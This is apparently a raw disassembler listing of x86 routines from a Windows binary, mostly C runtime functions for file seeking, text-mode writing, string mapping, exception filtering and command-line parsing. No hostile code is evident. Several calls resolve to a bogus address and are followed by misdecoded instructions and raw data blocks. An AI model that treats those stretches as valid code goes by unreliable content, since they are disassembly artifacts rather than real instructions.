		xor	eax, eax


loc_422682:				; CODE XREF: sub_42261C+62j
		test	eax, eax
		jz	short loc_42268F
		push	eax
		call	sub_420244
		pop	ecx
		jmp	short loc_4226AF
; ---------------------------------------------------------------------------


loc_42268F:				; CODE XREF: sub_42261C+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4226B2
; ---------------------------------------------------------------------------


loc_42269E:				; CODE XREF: sub_42261C+Dj
					; sub_42261C+2Aj
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9


loc_4226AF:				; CODE XREF: sub_42261C+42j
					; sub_42261C+71j
		or	eax, 0FFFFFFFFh


loc_4226B2:				; CODE XREF: sub_42261C+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42261C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226B6	proc near		; CODE XREF: seg000:0041D8E7p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4226D2
		mov	[edi+4], ebx


loc_4226D2:				; CODE XREF: sub_4226B6+17j
		push	1
		push	ebx
		push	esi
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422740
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_4226F7
		sub	eax, [edi+4]
		jmp	loc_422809
; ---------------------------------------------------------------------------


loc_4226F7:				; CODE XREF: sub_4226B6+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422731
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_4E1820[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422748
		mov	edx, ecx


loc_422722:				; CODE XREF: sub_4226B6+79j
		cmp	edx, eax
		jnb	short loc_422748
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42272E
		inc	[ebp+var_8]


loc_42272E:				; CODE XREF: sub_4226B6+73j
		inc	edx
		jmp	short loc_422722
; ---------------------------------------------------------------------------


loc_422731:				; CODE XREF: sub_4226B6+50j
		test	dl, 80h
		jnz	short loc_422748
		mov	ds:dword_4E14F8, 16h


loc_422740:				; CODE XREF: sub_4226B6+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422809
; ---------------------------------------------------------------------------


loc_422748:				; CODE XREF: sub_4226B6+68j
					; sub_4226B6+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422756
		mov	eax, [ebp+var_8]
		jmp	loc_422809
; ---------------------------------------------------------------------------


loc_422756:				; CODE XREF: sub_4226B6+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422801
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42276F
		and	[ebp+var_8], edx
		jmp	loc_422801
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_4226B6+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4227FB
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4227C2
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4227AD:				; CODE XREF: sub_4226B6+104j
		cmp	eax, ecx
		jnb	short loc_4227BC
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4227B9
		inc	[ebp+arg_0]


loc_4227B9:				; CODE XREF: sub_4226B6+FEj
		inc	eax
		jmp	short loc_4227AD
; ---------------------------------------------------------------------------


loc_4227BC:				; CODE XREF: sub_4226B6+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4227F6
; ---------------------------------------------------------------------------


loc_4227C2:				; CODE XREF: sub_4226B6+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42261C
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4227E9
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4227E9
		test	ch, 4
		jz	short loc_4227EC


loc_4227E9:				; CODE XREF: sub_4226B6+124j
					; sub_4226B6+12Cj
		mov	eax, [edi+18h]


loc_4227EC:				; CODE XREF: sub_4226B6+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4227F6:				; CODE XREF: sub_4226B6+10Aj
		jz	short loc_4227FB
		inc	[ebp+arg_0]


loc_4227FB:				; CODE XREF: sub_4226B6+D9j
					; sub_4226B6:loc_4227F6j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422801:				; CODE XREF: sub_4226B6+A4j
					; sub_4226B6+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422809:				; CODE XREF: sub_4226B6+3Cj
					; sub_4226B6+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4226B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42280E	proc near		; CODE XREF: sub_41D984+A2p
					; sub_41E25B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_4E1920
		push	esi
		push	edi
		jnb	loc_4229A2
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_4229A2
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42285F


loc_422858:				; CODE XREF: sub_42280E+177j
		xor	eax, eax
		jmp	loc_4229B6
; ---------------------------------------------------------------------------


loc_42285F:				; CODE XREF: sub_42280E+48j
		test	al, 20h
		jz	short loc_42286F
		push	2
		push	edi
		push	ecx
		call	sub_42261C
		add	esp, 0Ch


loc_42286F:				; CODE XREF: sub_42280E+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42293E
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422976


loc_42288F:				; CODE XREF: sub_42280E+F5j
		lea	eax, [ebp+var_414]


loc_422895:				; CODE XREF: sub_42280E+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4228C9
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4228B4
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4228B4:				; CODE XREF: sub_42280E+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_422895


loc_4228C9:				; CODE XREF: sub_42280E+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0B00000h
		leave
		test	eax, eax
		jz	short loc_422933
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422905
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42288F


loc_422905:				; CODE XREF: sub_42280E+EAj
					; sub_42280E+12Ej
		xor	edi, edi


loc_422907:				; CODE XREF: sub_42280E+150j
					; sub_42280E+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42299D
		cmp	[ebp+arg_0], edi
		jz	short loc_422976
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_42296B
		mov	ds:dword_4E14F8, 9
		mov	ds:dword_4E14FC, eax
		jmp	loc_4229B3
; ---------------------------------------------------------------------------


loc_422933:				; CODE XREF: sub_42280E+E0j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_42293E:				; CODE XREF: sub_42280E+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0B00000h
		add	al, 85h
		sal	byte ptr [ebx+ecx-75h],	45h
		hlt
; ---------------------------------------------------------------------------
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422907
; ---------------------------------------------------------------------------
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_422907
; ---------------------------------------------------------------------------


loc_42296B:				; CODE XREF: sub_42280E+10Fj
		push	[ebp+arg_0]
		call	sub_420244
		pop	ecx
		jmp	short loc_4229B3
; ---------------------------------------------------------------------------


loc_422976:				; CODE XREF: sub_42280E+7Bj
					; sub_42280E+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_42298B
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422858


loc_42298B:				; CODE XREF: sub_42280E+16Fj
		mov	ds:dword_4E14F8, 1Ch
		mov	ds:dword_4E14FC, edi
		jmp	short loc_4229B3
; ---------------------------------------------------------------------------


loc_42299D:				; CODE XREF: sub_42280E+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4229B6
; ---------------------------------------------------------------------------


loc_4229A2:				; CODE XREF: sub_42280E+15j
					; sub_42280E+37j
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9


loc_4229B3:				; CODE XREF: sub_42280E+120j
					; sub_42280E+166j ...
		or	eax, 0FFFFFFFFh


loc_4229B6:				; CODE XREF: sub_42280E+4Cj
					; sub_42280E+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42280E	endp

; ---------------------------------------------------------------------------


loc_4229BB:				; CODE XREF: sub_41DC7A+47p
					; sub_41DC7A+74p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_4E15CC, edi
		jnz	short loc_422A31
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427918
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_422A0F
		mov	ds:dword_4E15CC, ebx
		jmp	short loc_422A31
; ---------------------------------------------------------------------------


loc_422A0F:				; CODE XREF: seg000:00422A05j
		push	edi
		push	edi
		push	ebx
		push	offset dword_4D10A8
		push	esi
		push	edi
		call	near ptr 0B00000h
		xor	[ebp+22840FC0h], al
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_4E15CC
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_422A31:				; CODE XREF: seg000:004229E9j
					; seg000:00422A0Dj
		cmp	[ebp+14h], edi
		jle	short loc_422A46
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_422BDF
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_422A46:				; CODE XREF: seg000:00422A34j
		mov	eax, ds:dword_4E15CC
		cmp	eax, 2
		jnz	short loc_422A6D
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B00000h
		dec	eax
		jmp	loc_422B4B
; ---------------------------------------------------------------------------


loc_422A6D:				; CODE XREF: seg000:00422A4Ej
		cmp	eax, 1
		jnz	loc_422B49
		cmp	[ebp+20h], edi
		jnz	short loc_422A83
		mov	eax, ds:dword_4E15C0
		mov	[ebp+20h], eax


loc_422A83:				; CODE XREF: seg000:00422A79j
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_427184	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_422B49
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_422ADE
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_422ADE:				; CODE XREF: seg000:00422AC9j
		cmp	[ebp-24h], edi
		jz	short loc_422B49
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_427184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422B49
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_427050	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_422B49
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_422B5D
		cmp	[ebp+1Ch], edi
		jz	loc_422BD8
		cmp	esi, [ebp+1Ch]
		jg	short loc_422B49
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_427050	; LCMapStringW
		test	eax, eax
		jnz	loc_422BD8


loc_422B49:				; CODE XREF: seg000:00422A70j
					; seg000:00422AA7j ...
		xor	eax, eax


loc_422B4B:				; CODE XREF: seg000:00422A68j
					; seg000:00422BDAj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422B5D:				; CODE XREF: seg000:00422B1Bj
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_422B91
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_422B91:				; CODE XREF: seg000:00422B7Dj
		cmp	ebx, edi
		jz	short loc_422B49
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_422B49
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_422BB8
		push	edi
		push	edi
		jmp	short loc_422BBE
; ---------------------------------------------------------------------------


loc_422BB8:				; CODE XREF: seg000:00422BB2j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_422BBE:				; CODE XREF: seg000:00422BB6j
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_427180	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422B49


loc_422BD8:				; CODE XREF: seg000:00422B20j
					; seg000:00422B43j
		mov	eax, esi
		jmp	loc_422B4B

; =============== S U B	R O U T	I N E =======================================



sub_422BDF	proc near		; CODE XREF: seg000:00422A3Cp
					; sub_425D2F+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422BFC


loc_422BEF:				; CODE XREF: sub_422BDF+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422BFC
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422BEF


loc_422BFC:				; CODE XREF: sub_422BDF+Ej
					; sub_422BDF+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_422C07
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_422C07:				; CODE XREF: sub_422BDF+21j
		mov	eax, edx
		retn
sub_422BDF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422D4B
		test	eax, eax
		pop	ecx
		jz	loc_422D3F
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422D3F
		cmp	ebx, 5
		jnz	short loc_422C3B
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422D48
; ---------------------------------------------------------------------------


loc_422C3B:				; CODE XREF: seg000:00422C2Dj
		cmp	ebx, 1
		jz	loc_422D3A
		mov	ecx, ds:dword_4E15D0
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_4E15D0, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422D2A
		mov	ecx, ds:dword_442E30
		mov	edx, ds:dword_442E34
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422C8A
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:442DC0h[esi*4]


loc_422C81:				; CODE XREF: seg000:00422C88j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422C81


loc_422C8A:				; CODE XREF: seg000:00422C73j
		mov	eax, [eax]
		mov	esi, ds:dword_442E3C
		cmp	eax, 0C000008Eh
		jnz	short loc_422CA5
		mov	ds:dword_442E3C, 83h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CA5:				; CODE XREF: seg000:00422C97j
		cmp	eax, 0C0000090h
		jnz	short loc_422CB8
		mov	ds:dword_442E3C, 81h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CB8:				; CODE XREF: seg000:00422CAAj
		cmp	eax, 0C0000091h
		jnz	short loc_422CCB
		mov	ds:dword_442E3C, 84h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CCB:				; CODE XREF: seg000:00422CBDj
		cmp	eax, 0C0000093h
		jnz	short loc_422CDE
		mov	ds:dword_442E3C, 85h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CDE:				; CODE XREF: seg000:00422CD0j
		cmp	eax, 0C000008Dh
		jnz	short loc_422CF1
		mov	ds:dword_442E3C, 82h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422CF1:				; CODE XREF: seg000:00422CE3j
		cmp	eax, 0C000008Fh
		jnz	short loc_422D04
		mov	ds:dword_442E3C, 86h
		jmp	short loc_422D15
; ---------------------------------------------------------------------------


loc_422D04:				; CODE XREF: seg000:00422CF6j
		cmp	eax, 0C0000092h
		jnz	short loc_422D15
		mov	ds:dword_442E3C, 8Ah


loc_422D15:				; CODE XREF: seg000:00422CA3j
					; seg000:00422CB6j ...
		push	ds:dword_442E3C
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_442E3C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422D32
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: seg000:00422C5Cj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422D32:				; CODE XREF: seg000:00422D28j
		mov	eax, [ebp+8]
		mov	ds:dword_4E15D0, eax


loc_422D3A:				; CODE XREF: seg000:00422C3Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_422D48
; ---------------------------------------------------------------------------


loc_422D3F:				; CODE XREF: seg000:00422C19j
					; seg000:00422C24j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42704C	; UnhandledExceptionFilter


loc_422D48:				; CODE XREF: seg000:00422C36j
					; seg000:00422D3Dj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422D4B	proc near		; CODE XREF: seg000:00422C11p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_442E38
		cmp	ds:dword_442DB8, edx
		push	esi
		mov	eax, offset dword_442DB8
		jz	short loc_422D78
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442DB8h[esi*4]


loc_422D6D:				; CODE XREF: sub_422D4B+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422D78
		cmp	[eax], edx
		jnz	short loc_422D6D


loc_422D78:				; CODE XREF: sub_422D4B+16j
					; sub_422D4B+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442DB8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422D8B
		cmp	[eax], edx
		jz	short locret_422D8D


loc_422D8B:				; CODE XREF: sub_422D4B+3Aj
		xor	eax, eax

locret_422D8D:				; CODE XREF: sub_422D4B+3Ej
		retn
sub_422D4B	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_4E2B8C, 0
		jnz	short loc_422D9C
		call	sub_4200D2


loc_422D9C:				; CODE XREF: seg000:00422D95j
		push	esi
		mov	esi, ds:dword_4E2B84
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422DCE


loc_422DA9:				; CODE XREF: seg000:00422DC1j
					; seg000:00422DC4j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422DC6
		test	al, al
		jz	short loc_422DC6
		movzx	eax, al
		push	eax
		call	sub_424C6B
		test	eax, eax
		pop	ecx
		jz	short loc_422DA9
		inc	esi
		jmp	short loc_422DA9
; ---------------------------------------------------------------------------


loc_422DC6:				; CODE XREF: seg000:00422DAFj
					; seg000:00422DB3j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422DD8


loc_422DCB:				; CODE XREF: seg000:00422DE0j
		inc	esi
		jmp	short loc_422DD8
; ---------------------------------------------------------------------------


loc_422DCE:				; CODE XREF: seg000:00422DA7j
		cmp	al, 20h
		jbe	short loc_422DD8


loc_422DD2:				; CODE XREF: seg000:00422DD6j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422DD2


loc_422DD8:				; CODE XREF: seg000:00422DC9j
					; seg000:00422DCCj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422DE2
		cmp	al, 20h
		jbe	short loc_422DCB


loc_422DE2:				; CODE XREF: seg000:00422DDCj
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422DE6	proc near
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4E2B8C, ebx
		push	esi
		push	edi
		jnz	short loc_422DF8
		call	sub_4200D2


loc_422DF8:				; CODE XREF: sub_422DE6+Bj
		mov	esi, ds:dword_4E1568
		xor	edi, edi


loc_422E00:				; CODE XREF: sub_422DE6+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422E18
		cmp	al, 3Dh
		jz	short loc_422E0B
		inc	edi


loc_422E0B:				; CODE XREF: sub_422DE6+22j
		push	esi
		call	sub_41B890
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422E00
; ---------------------------------------------------------------------------


loc_422E18:				; CODE XREF: sub_422DE6+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_4E1520, esi
		jnz	short loc_422E3A
		push	9
		call	sub_41E0F9
		pop	ecx


loc_422E3A:				; CODE XREF: sub_422DE6+4Aj
		mov	edi, ds:dword_4E1568
		cmp	[edi], bl
		jz	short loc_422E7D
		push	ebp


loc_422E45:				; CODE XREF: sub_422DE6+94j
		push	edi
		call	sub_41B890
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422E76
		push	ebp
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422E69
		push	9
		call	sub_41E0F9
		pop	ecx


loc_422E69:				; CODE XREF: sub_422DE6+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C550
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422E76:				; CODE XREF: sub_422DE6+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422E45
		pop	ebp


loc_422E7D:				; CODE XREF: sub_422DE6+5Cj
		push	ds:dword_4E1568
		call	sub_41B961
		pop	ecx
		mov	ds:dword_4E1568, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_4E2B88, 1
		pop	ebx
		retn
sub_422DE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422E9F	proc near		; CODE XREF: seg000:0041E08Cp
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4E2B8C, ebx
		push	esi
		push	edi
		jnz	short loc_422EB6
		call	sub_4200D2


loc_422EB6:				; CODE XREF: sub_422E9F+10j
		mov	esi, offset dword_4E15D4
		push	104h
		push	esi
		push	ebx
		call	near ptr 0B00000h
		jmp	near ptr 4E6DB36Dh
sub_422E9F	endp

; ---------------------------------------------------------------------------
		dd 30358900h, 8B004E15h, 741838FEh, 8DF88B02h, 8D50F845h
		dd 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h, 88048DFCh
		dd 8CD1E850h, 0F08BFFFFh, 3B18C483h, 6A0875F3h,	0B1EFE808h
		dd 8D59FFFFh, 8D50F845h, 8B50FC45h, 48DFC45h, 57565086h
		dd 17E8h, 0FC458B00h, 4814C483h, 15183589h, 5E5F004Eh
		dd 4E1514A3h, 0C3C95B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+18h]
		mov	eax, [ebp+14h]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+10h]
		push	edi
		mov	edi, [ebp+0Ch]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+8]
		test	edi, edi
		jz	short loc_422F62
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+0Ch], edi


loc_422F62:				; CODE XREF: seg000:00422F58j
		cmp	byte ptr [eax],	22h
		jnz	short loc_422FAB


loc_422F67:				; CODE XREF: seg000:00422F90j
					; seg000:00422F97j
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_422F99
		test	dl, dl
		jz	short loc_422F99
		movzx	edx, dl
		test	ds:byte_4E2A61[edx], 4
		jz	short loc_422F8C
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F8C
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_422F8C:				; CODE XREF: seg000:00422F7Ej
					; seg000:00422F84j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422F67
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_422F67
; ---------------------------------------------------------------------------


loc_422F99:				; CODE XREF: seg000:00422F6Ej
					; seg000:00422F72j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FA3
		and	byte ptr [esi],	0
		inc	esi


loc_422FA3:				; CODE XREF: seg000:00422F9Dj
		cmp	byte ptr [eax],	22h
		jnz	short loc_422FEE
		inc	eax
		jmp	short loc_422FEE
; ---------------------------------------------------------------------------


loc_422FAB:				; CODE XREF: seg000:00422F65j
					; seg000:00422FDDj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FB6
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_422FB6:				; CODE XREF: seg000:00422FAFj
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_4E2A61[ebx], 4
		jz	short loc_422FD1
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FD0
		mov	bl, [eax]
